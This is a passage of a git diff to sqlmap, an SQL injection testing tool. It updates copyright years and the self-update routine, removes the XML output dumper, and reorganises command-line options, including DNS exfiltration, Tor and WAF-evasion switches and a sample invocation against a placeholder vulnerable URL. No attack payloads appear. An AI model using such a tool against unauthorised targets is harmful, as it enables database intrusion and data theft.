+            process = subprocess.Popen("git checkout . && git pull %s HEAD" % GIT_REPOSITORY, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, cwd=paths.SQLMAP_ROOT_PATH.encode(locale.getpreferredencoding()))  # Reference: http://blog.stastnarodina.com/honza-en/spot/python-unicodeencodeerror/
            pollProcess(process, True)
            stdout, stderr = process.communicate()
            success = not process.returncode
@@ -52,13 +51,11 @@ def update():
            stderr = getSafeExString(ex)

        if success:
-            import lib.core.settings
-            _ = lib.core.settings.REVISION = getRevisionNumber()
-            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", _))
+            logger.info("%s the latest revision '%s'" % ("already at" if "Already" in stdout else "updated to", getRevisionNumber()))
        else:
            if "Not a git repository" in stderr:
                errMsg = "not a valid git repository. Please checkout the 'sqlmapproject/sqlmap' repository "
-                errMsg += "from GitHub (e.g. 'git clone https://github.com/sqlmapproject/sqlmap.git sqlmap')"
+                errMsg += "from GitHub (e.g. 'git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap')"
                logger.error(errMsg)
            else:
                logger.error("update could not be completed ('%s')" % re.sub(r"\W+", " ", stderr).strip())
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -11,7 +11,6 @@ import zipfile
 from lib.core.common import getSafeExString
 from lib.core.exception import SqlmapDataException
 from lib.core.exception import SqlmapInstallationException
-from lib.core.settings import UNICODE_ENCODING

 class Wordlist(object):
    """
@@ -45,7 +44,7 @@ class Wordlist(object):
                try:
                    _ = zipfile.ZipFile(self.current, 'r')
                except zipfile.error, ex:
-                    errMsg = "something seems to be wrong with "
+                    errMsg = "something appears to be wrong with "
                    errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                    errMsg += "sure that you haven't made any changes to it"
                    raise SqlmapInstallationException, errMsg
@@ -71,7 +70,7 @@ class Wordlist(object):
            try:
                retVal = self.iter.next().rstrip()
            except zipfile.error, ex:
-                errMsg = "something seems to be wrong with "
+                errMsg = "something appears to be wrong with "
                errMsg += "the file '%s' ('%s'). Please make " % (self.current, getSafeExString(ex))
                errMsg += "sure that you haven't made any changes to it"
                raise SqlmapInstallationException, errMsg
@@ -1,536 +0,0 @@
-#!/usr/bin/env python
-
-import codecs
-import os
-import re
-import xml
-
-import xml.sax.saxutils as saxutils
-
-from lib.core.common import getUnicode
-from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
-from lib.core.exception import SqlmapFilePathException
-from lib.core.settings import UNICODE_ENCODING
-from thirdparty.prettyprint import prettyprint
-from xml.dom.minidom import Document
-from xml.parsers.expat import ExpatError
-
-TECHNIC_ELEM_NAME = "Technic"
-TECHNICS_ELEM_NAME = "Technics"
-BANNER_ELEM_NAME = "Banner"
-COLUMNS_ELEM_NAME = "DatabaseColumns"
-COLUMN_ELEM_NAME = "Column"
-CELL_ELEM_NAME = "Cell"
-COLUMN_ATTR = "column"
-ROW_ELEM_NAME = "Row"
-TABLES_ELEM_NAME = "tables"
-DATABASE_COLUMNS_ELEM = "DB"
-DB_TABLES_ELEM_NAME = "DBTables"
-DB_TABLE_ELEM_NAME = "DBTable"
-IS_DBA_ELEM_NAME = "isDBA"
-FILE_CONTENT_ELEM_NAME = "FileContent"
-DB_ATTR = "db"
-UNKNOWN_COLUMN_TYPE = "unknown"
-USER_SETTINGS_ELEM_NAME = "UserSettings"
-USER_SETTING_ELEM_NAME = "UserSetting"
-USERS_ELEM_NAME = "Users"
-USER_ELEM_NAME = "User"
-DB_USER_ELEM_NAME = "DBUser"
-SETTINGS_ELEM_NAME = "Settings"
-DBS_ELEM_NAME = "DBs"
-DB_NAME_ELEM_NAME = "DBName"
-DATABASE_ELEM_NAME = "Database"
-TABLE_ELEM_NAME = "Table"
-DB_TABLE_VALUES_ELEM_NAME = "DBTableValues"
-DB_VALUES_ELEM = "DBValues"
-QUERIES_ELEM_NAME = "Queries"
-QUERY_ELEM_NAME = "Query"
-REGISTERY_ENTRIES_ELEM_NAME = "RegistryEntries"
-REGISTER_DATA_ELEM_NAME = "RegisterData"
-DEFAULT_DB = "All"
-MESSAGE_ELEM = "Message"
-MESSAGES_ELEM_NAME = "Messages"
-ERROR_ELEM_NAME = "Error"
-LST_ELEM_NAME = "List"
-LSTS_ELEM_NAME = "Lists"
-CURRENT_USER_ELEM_NAME = "CurrentUser"
-CURRENT_DB_ELEM_NAME = "CurrentDB"
-MEMBER_ELEM = "Member"
-ADMIN_USER = "Admin"
-REGULAR_USER = "User"
-STATUS_ELEM_NAME = "Status"
-RESULTS_ELEM_NAME = "Results"
-UNHANDLED_PROBLEM_TYPE = "Unhandled"
-NAME_ATTR = "name"
-TYPE_ATTR = "type"
-VALUE_ATTR = "value"
-SUCESS_ATTR = "success"
-NAME_SPACE_ATTR = 'http://www.w3.org/2001/XMLSchema-instance'
-XMLNS_ATTR = "xmlns:xsi"
-SCHEME_NAME = "sqlmap.xsd"
-SCHEME_NAME_ATTR = "xsi:noNamespaceSchemaLocation"
-CHARACTERS_TO_ENCODE = range(32) + range(127, 256)
-ENTITIES = {'"': '&quot;', "'": "&apos;"}
-
-class XMLDump(object):
-    '''
-    This class purpose is to dump the data into an xml Format.
-    The format of the xml file is described in the scheme file xml/sqlmap.xsd
-    '''
-
-    def __init__(self):
-        self._outputFile = None
-        self._outputFP = None
-        self.__root = None
-        self.__doc = Document()
-
-    def _addToRoot(self, element):
-        '''
-        Adds element to the root element
-        '''
-        self.__root.appendChild(element)
-
-    def __write(self, data, n=True):
-        '''
-        Writes the data into the file
-        '''
-        if n:
-            self._outputFP.write("%s\n" % data)
-        else:
-            self._outputFP.write("%s " % data)
-
-        self._outputFP.flush()
-
-        kb.dataOutputFlag = True
-
-    def _getRootChild(self, elemName):
-        '''
-        Returns the child of the root with the described name
-        '''
-        elements = self.__root.getElementsByTagName(elemName)
-        if elements:
-            return elements[0]
-
-        return elements
-
-    def _createTextNode(self, data):
-        '''
-        Creates a text node with utf8 data inside.
-        The text is escaped to an fit the xml text Format.
-        '''
-        if data is None:
-            return self.__doc.createTextNode(u'')
-        else:
-            escaped_data = saxutils.escape(data, ENTITIES)
-            return self.__doc.createTextNode(escaped_data)
-
-    def _createAttribute(self, attrName, attrValue):
-        '''
-        Creates an attribute node with utf8 data inside.
-        The text is escaped to an fit the xml text Format.
-        '''
-        attr = self.__doc.createAttribute(attrName)
-        if attrValue is None:
-            attr.nodeValue = u''
-        else:
-            attr.nodeValue = getUnicode(attrValue)
-        return attr
-
-    def string(self, header, data, sort=True):
-        '''
-        Adds string element to the xml.
-        '''
-        if isinstance(data, (list, tuple, set)):
-            self.lister(header, data, sort)
-            return
-
-        messagesElem = self._getRootChild(MESSAGES_ELEM_NAME)
-        if (not(messagesElem)):
-            messagesElem = self.__doc.createElement(MESSAGES_ELEM_NAME)
-            self._addToRoot(messagesElem)
-
-        if data:
-            data = self._formatString(data)
-        else:
-            data = ""
-
-        elem = self.__doc.createElement(MESSAGE_ELEM)
-        elem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-        elem.appendChild(self._createTextNode(data))
-        messagesElem.appendChild(elem)
-
-    def lister(self, header, elements, sort=True):
-        '''
-        Adds information formatted as list element
-        '''
-        lstElem = self.__doc.createElement(LST_ELEM_NAME)
-        lstElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-        if elements:
-            if sort:
-                try:
-                    elements = set(elements)
-                    elements = list(elements)
-                    elements.sort(key=lambda x: x.lower())
-                except:
-                    pass
-
-            for element in elements:
-                memberElem = self.__doc.createElement(MEMBER_ELEM)
-                lstElem.appendChild(memberElem)
-                if isinstance(element, basestring):
-                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
-                    memberElem.appendChild(self._createTextNode(element))
-                elif isinstance(element, (list, tuple, set)):
-                    memberElem.setAttributeNode(self._createAttribute(TYPE_ATTR, "list"))
-                    for e in element:
-                        memberElemStr = self.__doc.createElement(MEMBER_ELEM)
-                        memberElemStr.setAttributeNode(self._createAttribute(TYPE_ATTR, "string"))
-                        memberElemStr.appendChild(self._createTextNode(getUnicode(e)))
-                        memberElem.appendChild(memberElemStr)
-        listsElem = self._getRootChild(LSTS_ELEM_NAME)
-        if not(listsElem):
-            listsElem = self.__doc.createElement(LSTS_ELEM_NAME)
-            self._addToRoot(listsElem)
-        listsElem.appendChild(lstElem)
-
-    def technic(self, technicType, data):
-        '''
-        Adds information about the technic used to extract data from the db
-        '''
-        technicElem = self.__doc.createElement(TECHNIC_ELEM_NAME)
-        technicElem.setAttributeNode(self._createAttribute(TYPE_ATTR, technicType))
-        textNode = self._createTextNode(data)
-        technicElem.appendChild(textNode)
-        technicsElem = self._getRootChild(TECHNICS_ELEM_NAME)
-        if not(technicsElem):
-            technicsElem = self.__doc.createElement(TECHNICS_ELEM_NAME)
-            self._addToRoot(technicsElem)
-        technicsElem.appendChild(technicElem)
-
-    def banner(self, data):
-        '''
-        Adds information about the database banner to the xml.
-        The banner contains information about the type and the version of the database.
-        '''
-        bannerElem = self.__doc.createElement(BANNER_ELEM_NAME)
-        bannerElem.appendChild(self._createTextNode(data))
-        self._addToRoot(bannerElem)
-
-    def currentUser(self, data):
-        '''
-        Adds information about the current database user to the xml
-        '''
-        currentUserElem = self.__doc.createElement(CURRENT_USER_ELEM_NAME)
-        textNode = self._createTextNode(data)
-        currentUserElem.appendChild(textNode)
-        self._addToRoot(currentUserElem)
-
-    def currentDb(self, data):
-        '''
-        Adds information about the current database is use to the xml
-        '''
-        currentDBElem = self.__doc.createElement(CURRENT_DB_ELEM_NAME)
-        textNode = self._createTextNode(data)
-        currentDBElem.appendChild(textNode)
-        self._addToRoot(currentDBElem)
-
-    def dba(self, isDBA):
-        '''
-        Adds information to the xml that indicates whether the user has DBA privileges
-        '''
-        isDBAElem = self.__doc.createElement(IS_DBA_ELEM_NAME)
-        isDBAElem.setAttributeNode(self._createAttribute(VALUE_ATTR, getUnicode(isDBA)))
-        self._addToRoot(isDBAElem)
-
-    def users(self, users):
-        '''
-        Adds a list of the existing users to the xml
-        '''
-        usersElem = self.__doc.createElement(USERS_ELEM_NAME)
-        if isinstance(users, basestring):
-            users = [users]
-        if users:
-            for user in users:
-                userElem = self.__doc.createElement(DB_USER_ELEM_NAME)
-                usersElem.appendChild(userElem)
-                userElem.appendChild(self._createTextNode(user))
-        self._addToRoot(usersElem)
-
-    def dbs(self, dbs):
-        '''
-        Adds a list of the existing databases to the xml
-        '''
-        dbsElem = self.__doc.createElement(DBS_ELEM_NAME)
-        if dbs:
-            for db in dbs:
-                dbElem = self.__doc.createElement(DB_NAME_ELEM_NAME)
-                dbsElem.appendChild(dbElem)
-                dbElem.appendChild(self._createTextNode(db))
-        self._addToRoot(dbsElem)
-
-    def userSettings(self, header, userSettings, subHeader):
-        '''
-        Adds information about the user's settings to the xml.
-        The information can be user's passwords, privileges and etc..
-        '''
-        self._areAdmins = set()
-        userSettingsElem = self._getRootChild(USER_SETTINGS_ELEM_NAME)
-        if (not(userSettingsElem)):
-            userSettingsElem = self.__doc.createElement(USER_SETTINGS_ELEM_NAME)
-            self._addToRoot(userSettingsElem)
-
-        userSettingElem = self.__doc.createElement(USER_SETTING_ELEM_NAME)
-        userSettingElem.setAttributeNode(self._createAttribute(TYPE_ATTR, header))
-
-        if isinstance(userSettings, (tuple, list, set)):
-            self._areAdmins = userSettings[1]
-            userSettings = userSettings[0]
-
-        users = userSettings.keys()
-        users.sort(key=lambda x: x.lower())
-
-        for user in users:
-            userElem = self.__doc.createElement(USER_ELEM_NAME)
-            userSettingElem.appendChild(userElem)
-            if user in self._areAdmins:
-                userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, ADMIN_USER))
-            else:
-                userElem.setAttributeNode(self._createAttribute(TYPE_ATTR, REGULAR_USER))
-
-            settings = userSettings[user]
-
-            settings.sort()
-
-            for setting in settings:
-                settingsElem = self.__doc.createElement(SETTINGS_ELEM_NAME)
-                settingsElem.setAttributeNode(self._createAttribute(TYPE_ATTR, subHeader))
-                settingTextNode = self._createTextNode(setting)
-                settingsElem.appendChild(settingTextNode)
-                userElem.appendChild(settingsElem)
-        userSettingsElem.appendChild(userSettingElem)
-
-    def dbTables(self, dbTables):
-        '''
-        Adds information of the existing db tables to the xml
-        '''
-        if not isinstance(dbTables, dict):
-            self.string(TABLES_ELEM_NAME, dbTables)
-            return
-
-        dbTablesElem = self.__doc.createElement(DB_TABLES_ELEM_NAME)
-
-        for db, tables in dbTables.items():
-            tables.sort(key=lambda x: x.lower())
-            dbElem = self.__doc.createElement(DATABASE_ELEM_NAME)
-            dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
-            dbTablesElem.appendChild(dbElem)
-            for table in tables:
-                tableElem = self.__doc.createElement(DB_TABLE_ELEM_NAME)
-                tableElem.appendChild(self._createTextNode(table))
-                dbElem.appendChild(tableElem)
-        self._addToRoot(dbTablesElem)
-
-    def dbTableColumns(self, tableColumns):
-        '''
-        Adds information about the columns of the existing tables to the xml
-        '''
-
-        columnsElem = self._getRootChild(COLUMNS_ELEM_NAME)
-        if not(columnsElem):
-            columnsElem = self.__doc.createElement(COLUMNS_ELEM_NAME)
-
-        for db, tables in tableColumns.items():
-            if not db:
-                db = DEFAULT_DB
-            dbElem = self.__doc.createElement(DATABASE_COLUMNS_ELEM)
-            dbElem.setAttributeNode(self._createAttribute(NAME_ATTR, db))
-            columnsElem.appendChild(dbElem)
-
-            for table, columns in tables.items():
-                tableElem = self.__doc.createElement(TABLE_ELEM_NAME)
-                tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
-
-                colList = columns.keys()
-                colList.sort(key=lambda x: x.lower())
-
-                for column in colList:
-                    colType = columns[column]
-                    colElem = self.__doc.createElement(COLUMN_ELEM_NAME)
-                    if colType is not None:
-                        colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, colType))
-                    else:
-                        colElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNKNOWN_COLUMN_TYPE))
-                    colElem.appendChild(self._createTextNode(column))
-                    tableElem.appendChild(colElem)
-
-        self._addToRoot(columnsElem)
-
-    def dbTableValues(self, tableValues):
-        '''
-        Adds the values of specific table to the xml.
-        The values are organized according to the relevant row and column.
-        '''
-        tableElem = self.__doc.createElement(DB_TABLE_VALUES_ELEM_NAME)
-        if (tableValues is not None):
-            db = tableValues["__infos__"]["db"]
-            if not db:
-                db = "All"
-            table = tableValues["__infos__"]["table"]
-
-            count = int(tableValues["__infos__"]["count"])
-            columns = tableValues.keys()
-            columns.sort(key=lambda x: x.lower())
-
-            tableElem.setAttributeNode(self._createAttribute(DB_ATTR, db))
-            tableElem.setAttributeNode(self._createAttribute(NAME_ATTR, table))
-
-            for i in range(count):
-                rowElem = self.__doc.createElement(ROW_ELEM_NAME)
-                tableElem.appendChild(rowElem)
-                for column in columns:
-                    if column != "__infos__":
-                        info = tableValues[column]
-                        value = info["values"][i]
-
-                        if re.search("^[\ *]*$", value):
-                            value = "NULL"
-
-                        cellElem = self.__doc.createElement(CELL_ELEM_NAME)
-                        cellElem.setAttributeNode(self._createAttribute(COLUMN_ATTR, column))
-                        cellElem.appendChild(self._createTextNode(value))
-                        rowElem.appendChild(cellElem)
-
-        dbValuesElem = self._getRootChild(DB_VALUES_ELEM)
-        if (not(dbValuesElem)):
-            dbValuesElem = self.__doc.createElement(DB_VALUES_ELEM)
-            self._addToRoot(dbValuesElem)
-
-        dbValuesElem.appendChild(tableElem)
-
-        logger.info("Table '%s.%s' dumped to XML file" % (db, table))
-
-    def dbColumns(self, dbColumns, colConsider, dbs):
-        '''
-        Adds information about the columns
-        '''
-        for column in dbColumns.keys():
-            printDbs = {}
-            for db, tblData in dbs.items():
-                for tbl, colData in tblData.items():
-                    for col, dataType in colData.items():
-                        if column in col:
-                            if db in printDbs:
-                                if tbl in printDbs[db]:
-                                    printDbs[db][tbl][col] = dataType
-                                else:
-                                    printDbs[db][tbl] = {col: dataType}
-                            else:
-                                printDbs[db] = {}
-                                printDbs[db][tbl] = {col: dataType}
-
-                            continue
-
-        self.dbTableColumns(printDbs)
-
-    def query(self, query, queryRes):
-        '''
-        Adds details of an executed query to the xml.
-        The query details are the query itself and its results.
-        '''
-        queryElem = self.__doc.createElement(QUERY_ELEM_NAME)
-        queryElem.setAttributeNode(self._createAttribute(VALUE_ATTR, query))
-        queryElem.appendChild(self._createTextNode(queryRes))
-        queriesElem = self._getRootChild(QUERIES_ELEM_NAME)
-        if (not(queriesElem)):
-            queriesElem = self.__doc.createElement(QUERIES_ELEM_NAME)
-            self._addToRoot(queriesElem)
-        queriesElem.appendChild(queryElem)
-
-    def registerValue(self, registerData):
-        '''
-        Adds information about an extracted registry key to the xml
-        '''
-        registerElem = self.__doc.createElement(REGISTER_DATA_ELEM_NAME)
-        registerElem.appendChild(self._createTextNode(registerData))
-        registriesElem = self._getRootChild(REGISTERY_ENTRIES_ELEM_NAME)
-        if (not(registriesElem)):
-            registriesElem = self.__doc.createElement(REGISTERY_ENTRIES_ELEM_NAME)
-            self._addToRoot(registriesElem)
-        registriesElem.appendChild(registerElem)
-
-    def rFile(self, filePath, data):
-        '''
-        Adds an extracted file's content to the xml
-        '''
-        fileContentElem = self.__doc.createElement(FILE_CONTENT_ELEM_NAME)
-        fileContentElem.setAttributeNode(self._createAttribute(NAME_ATTR, filePath))
-        fileContentElem.appendChild(self._createTextNode(data))
-        self._addToRoot(fileContentElem)
-
-    def setOutputFile(self):
-        '''
-        Initiates the xml file from the configuration.
-        '''
-        if (conf.xmlFile):
-            try:
-                self._outputFile = conf.xmlFile
-                self.__root = None
-
-                if os.path.exists(self._outputFile):
-                    try:
-                        self.__doc = xml.dom.minidom.parse(self._outputFile)
-                        self.__root = self.__doc.childNodes[0]
-                    except ExpatError:
-                        self.__doc = Document()
-
-                self._outputFP = codecs.open(self._outputFile, "w+", UNICODE_ENCODING)
-
-                if self.__root is None:
-                    self.__root = self.__doc.createElementNS(NAME_SPACE_ATTR, RESULTS_ELEM_NAME)
-                    self.__root.setAttributeNode(self._createAttribute(XMLNS_ATTR, NAME_SPACE_ATTR))
-                    self.__root.setAttributeNode(self._createAttribute(SCHEME_NAME_ATTR, SCHEME_NAME))
-                    self.__doc.appendChild(self.__root)
-            except IOError:
-                raise SqlmapFilePathException("Wrong filename provided for saving the xml file: %s" % conf.xmlFile)
-
-    def getOutputFile(self):
-        return self._outputFile
-
-    def finish(self, resultStatus, resultMsg=""):
-        '''
-        Finishes the dumper operation:
-        1. Adds the session status to the xml
-        2. Writes the xml to the file
-        3. Closes the xml file
-        '''
-        if ((self._outputFP is not None) and not(self._outputFP.closed)):
-            statusElem = self.__doc.createElement(STATUS_ELEM_NAME)
-            statusElem.setAttributeNode(self._createAttribute(SUCESS_ATTR, getUnicode(resultStatus)))
-
-            if not resultStatus:
-                errorElem = self.__doc.createElement(ERROR_ELEM_NAME)
-
-                if isinstance(resultMsg, Exception):
-                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, type(resultMsg).__name__))
-                else:
-                    errorElem.setAttributeNode(self._createAttribute(TYPE_ATTR, UNHANDLED_PROBLEM_TYPE))
-
-                errorElem.appendChild(self._createTextNode(getUnicode(resultMsg)))
-                statusElem.appendChild(errorElem)
-
-            self._addToRoot(statusElem)
-            self.__write(prettyprint.formatXML(self.__doc, encoding=UNICODE_ENCODING))
-            self._outputFP.close()
-
-
-def closeDumper(status, msg=""):
-    """
-    Closes the dumper of the session
-    """
-
-    if hasattr(conf, "dumper") and hasattr(conf.dumper, "finish"):
-        conf.dumper.finish(status, msg)
-
-dumper = XMLDump()
@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -1,7 +1,7 @@
 #!/usr/bin/env python

 """
-Copyright (c) 2006-2016 sqlmap developers (http://sqlmap.org/)
+Copyright (c) 2006-2017 sqlmap developers (http://sqlmap.org/)
 See the file 'doc/COPYING' for copying permission
 """

@@ -17,6 +17,7 @@ from optparse import SUPPRESS_HELP

 from lib.core.common import checkDeprecatedOptions
 from lib.core.common import checkSystemEncoding
+from lib.core.common import dataToStdout
 from lib.core.common import expandMnemonics
 from lib.core.common import getUnicode
 from lib.core.data import cmdLineOptions
@@ -30,6 +31,7 @@ from lib.core.settings import BASIC_HELP_ITEMS
 from lib.core.settings import DUMMY_URL
 from lib.core.settings import IS_WIN
 from lib.core.settings import MAX_HELP_OPTION_LENGTH
+from lib.core.settings import UNICODE_ENCODING
 from lib.core.settings import VERSION_STRING
 from lib.core.shell import autoCompletion
 from lib.core.shell import clearHistory
@@ -46,7 +48,7 @@ def cmdLineParser(argv=None):

    checkSystemEncoding()

-    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding())
+    _ = getUnicode(os.path.basename(argv[0]), encoding=sys.getfilesystemencoding() or UNICODE_ENCODING)

    usage = "%s%s [options]" % ("python " if not IS_WIN else "", \
            "\"%s\"" % _ if " " in _ else _)
@@ -150,6 +152,15 @@ def cmdLineParser(argv=None):
        request.add_option("--ignore-401", dest="ignore401", action="store_true",
                          help="Ignore HTTP Error 401 (Unauthorized)")

+        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
+                           help="Ignore system default proxy settings")
+
+        request.add_option("--ignore-redirects", dest="ignoreRedirects", action="store_true",
+                          help="Ignore redirection attempts")
+
+        request.add_option("--ignore-timeouts", dest="ignoreTimeouts", action="store_true",
+                          help="Ignore connection timeouts")
+
        request.add_option("--proxy", dest="proxy",
                           help="Use a proxy to connect to the target URL")

@@ -160,9 +171,6 @@ def cmdLineParser(argv=None):
        request.add_option("--proxy-file", dest="proxyFile",
                           help="Load proxy list from a file")

-        request.add_option("--ignore-proxy", dest="ignoreProxy", action="store_true",
-                           help="Ignore system default proxy settings")
-
        request.add_option("--tor", dest="tor",
                                  action="store_true",
                                  help="Use Tor anonymity network")
@@ -171,7 +179,7 @@ def cmdLineParser(argv=None):
                                  help="Set Tor proxy port other than default")

        request.add_option("--tor-type", dest="torType",
-                                  help="Set Tor proxy type (HTTP (default), SOCKS4 or SOCKS5)")
+                                  help="Set Tor proxy type (HTTP, SOCKS4 or SOCKS5 (default))")

        request.add_option("--check-tor", dest="checkTor",
                                  action="store_true",
@@ -259,7 +267,10 @@ def cmdLineParser(argv=None):
                             help="Skip testing for given parameter(s)")

        injection.add_option("--skip-static", dest="skipStatic", action="store_true",
-                             help="Skip testing parameters that not appear dynamic")
+                             help="Skip testing parameters that not appear to be dynamic")
+
+        injection.add_option("--param-exclude", dest="paramExclude",
+                           help="Regexp to exclude parameters from testing (e.g. \"ses\")")

        injection.add_option("--dbms", dest="dbms",
                             help="Force back-end DBMS to this value")
@@ -359,7 +370,7 @@ def cmdLineParser(argv=None):
        techniques.add_option("--union-from", dest="uFrom",
                              help="Table to use in FROM part of UNION query SQL injection")

-        techniques.add_option("--dns-domain", dest="dnsName",
+        techniques.add_option("--dns-domain", dest="dnsDomain",
                              help="Domain name used for DNS exfiltration attack")

        techniques.add_option("--second-order", dest="secondOrder",
@@ -464,6 +475,9 @@ def cmdLineParser(argv=None):
                               help="Exclude DBMS system databases when "
                                    "enumerating tables")

+        enumeration.add_option("--pivot-column", dest="pivotColumn",
+                               help="Pivot column name")
+
        enumeration.add_option("--where", dest="dumpWhere",
                               help="Use WHERE condition while table dumping")

@@ -617,6 +631,9 @@ def cmdLineParser(argv=None):
                            action="store_true",
                            help="Never ask for user input, use the default behaviour")

+        general.add_option("--binary-fields", dest="binaryFields",
+                          help="Result fields having binary values (e.g. \"digest\")")
+
        general.add_option("--charset", dest="charset",
                            help="Force character encoding used for data retrieval")

@@ -662,9 +679,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Parse and display DBMS error messages from responses")

-        general.add_option("--pivot-column", dest="pivotColumn",
-                               help="Pivot column name")
-
        general.add_option("--save", dest="saveConfig",
                            help="Save options to a configuration INI file")

@@ -716,10 +730,6 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Make a thorough testing for a WAF/IPS/IDS protection")

-        miscellaneous.add_option("--skip-waf", dest="skipWaf",
-                                  action="store_true",
-                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
-
        miscellaneous.add_option("--mobile", dest="mobile",
                                  action="store_true",
                                  help="Imitate smartphone through HTTP User-Agent header")
@@ -736,12 +746,19 @@ def cmdLineParser(argv=None):
                                  action="store_true",
                                  help="Safely remove all content from output directory")

+        miscellaneous.add_option("--skip-waf", dest="skipWaf",
+                                  action="store_true",
+                                  help="Skip heuristic detection of WAF/IPS/IDS protection")
+
        miscellaneous.add_option("--smart", dest="smart",
                                  action="store_true",
                                  help="Conduct thorough tests only if positive heuristic(s)")

        miscellaneous.add_option("--sqlmap-shell", dest="sqlmapShell", action="store_true",
-                            help="Prompt for an interactive sqlmap shell")
+                                  help="Prompt for an interactive sqlmap shell")
+
+        miscellaneous.add_option("--tmp-dir", dest="tmpDir",
+                                  help="Local directory for storing temporary files")

        miscellaneous.add_option("--wizard", dest="wizard",
                                  action="store_true",
@@ -751,6 +768,9 @@ def cmdLineParser(argv=None):
        parser.add_option("--dummy", dest="dummy", action="store_true",
                          help=SUPPRESS_HELP)

+        parser.add_option("--murphy-rate", dest="murphyRate", type="int",
+                          help=SUPPRESS_HELP)
+
        parser.add_option("--pickled-options", dest="pickledOptions",
                          help=SUPPRESS_HELP)

@@ -760,12 +780,6 @@ def cmdLineParser(argv=None):
        parser.add_option("--profile", dest="profile", action="store_true",
                          help=SUPPRESS_HELP)

-        parser.add_option("--binary-fields", dest="binaryFields",
-                          help=SUPPRESS_HELP)
-
-        parser.add_option("--cpu-throttle", dest="cpuThrottle", type="int",
-                          help=SUPPRESS_HELP)
-
        parser.add_option("--force-dns", dest="forceDns", action="store_true",
                          help=SUPPRESS_HELP)

@@ -809,12 +823,12 @@ def cmdLineParser(argv=None):
        parser.formatter._format_option_strings = parser.formatter.format_option_strings
        parser.formatter.format_option_strings = type(parser.formatter.format_option_strings)(_, parser, type(parser))

-        # Dirty hack for making a short option -hh
+        # Dirty hack for making a short option '-hh'
        option = parser.get_option("--hh")
        option._short_opts = ["-hh"]
        option._long_opts = []

-        # Dirty hack for inherent help message of switch -h
+        # Dirty hack for inherent help message of switch '-h'
        option = parser.get_option("-h")
        option.help = option.help.capitalize().replace("this help", "basic help")

@@ -824,7 +838,7 @@ def cmdLineParser(argv=None):
        extraHeaders = []

        for arg in argv:
-            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding()))
+            _.append(getUnicode(arg, encoding=sys.getfilesystemencoding() or UNICODE_ENCODING))

        argv = _
        checkDeprecatedOptions(argv)
@@ -862,13 +876,13 @@ def cmdLineParser(argv=None):
                    continue
                elif command.lower() == "clear":
                    clearHistory()
-                    print "[i] history cleared"
+                    dataToStdout("[i] history cleared\n")
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                elif command.lower() in ("x", "q", "exit", "quit"):
                    raise SqlmapShellQuitException
                elif command[0] != '-':
-                    print "[!] invalid option(s) provided"
-                    print "[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'"
+                    dataToStdout("[!] invalid option(s) provided\n")
+                    dataToStdout("[i] proper example: '-u http://www.site.com/vuln.php?id=1 --banner'\n")
                else:
                    saveHistory(AUTOCOMPLETE_TYPE.SQLMAP)
                    loadHistory(AUTOCOMPLETE_TYPE.SQLMAP)
@@ -880,12 +894,18 @@ def cmdLineParser(argv=None):
            except ValueError, ex:
                raise SqlmapSyntaxException, "something went wrong during command line parsing ('%s')" % ex.message

-        # Hide non-basic options in basic help case
        for i in xrange(len(argv)):
            if argv[i] == "-hh":
                argv[i] = "-h"
+            elif len(argv[i]) > 1 and all(ord(_) in xrange(0x2018, 0x2020) for _ in ((argv[i].split('=', 1)[-1].strip() or ' ')[0], argv[i][-1])):
+                dataToStdout("[!] copy-pasting illegal (non-console) quote characters from Internet is, well, illegal (%s)\n" % argv[i])
+                raise SystemExit
+            elif len(argv[i]) > 1 and u"\uff0c" in argv[i].split('=', 1)[-1]:
+                dataToStdout("[!] copy-pasting illegal (non-console) comma characters from Internet is, well, illegal (%s)\n" % argv[i])
+                raise SystemExit
            elif re.search(r"\A-\w=.+", argv[i]):
-                print "[!] potentially miswritten (illegal '=') short option detected ('%s')" % argv[i]
+                dataToStdout("[!] potentially miswritten (illegal '=') short option detected ('%s')\n" % argv[i])
+                raise SystemExit
            elif argv[i] == "-H":
                if i + 1 < len(argv):
                    extraHeaders.append(argv[i + 1])
@@ -895,7 +915,7 @@ def cmdLineParser(argv=None):
            elif argv[i] == "--version":
                print VERSION_STRING.split('/')[-1]
                raise SystemExit
-            elif argv[i] == "-h":
+            elif argv[i] in ("-h", "--help"):
                advancedHelp = False
                for group in parser.option_groups[:]:
                    found = False
@@ -907,14 +927,22 @@ def cmdLineParser(argv=None):
                    if not found:
                        parser.option_groups.remove(group)

+        for verbosity in (_ for _ in argv if re.search(r"\A\-v+\Z", _)):
+            try:
+                if argv.index(verbosity) == len(argv) - 1 or not argv[argv.index(verbosity) + 1].isdigit():
